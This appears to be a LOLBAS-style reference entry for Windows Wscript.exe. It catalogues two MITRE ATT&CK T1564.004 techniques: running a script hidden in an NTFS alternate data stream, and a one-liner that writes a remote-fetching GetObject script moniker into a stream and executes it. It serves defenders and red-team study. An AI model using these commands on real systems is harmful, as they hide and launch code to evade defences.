.. /Wscript.exe
Star

Used by Windows to execute scripts


Paths:

Resources:
Acknowledgements:

Detection:

Alternate data streams

Execute script stored in an alternate data stream
wscript //e:vbscript c:\ads\file.txt:script.vbs
Usecase: Execute hidden code to evade defensive counter measures
Privileges required: User
OS: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
MITRE ATT&CK®: T1564.004



Download and execute script stored in an alternate data stream
echo GetObject("script:https://raw.githubusercontent.com/sailay1996/misc-bin/master/calc.js") > %temp%\test.txt:hi.js && wscript.exe %temp%\test.txt:hi.js
Usecase: Execute hidden code to evade defensive counter measures
Privileges required: User
OS: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
MITRE ATT&CK®: T1564.004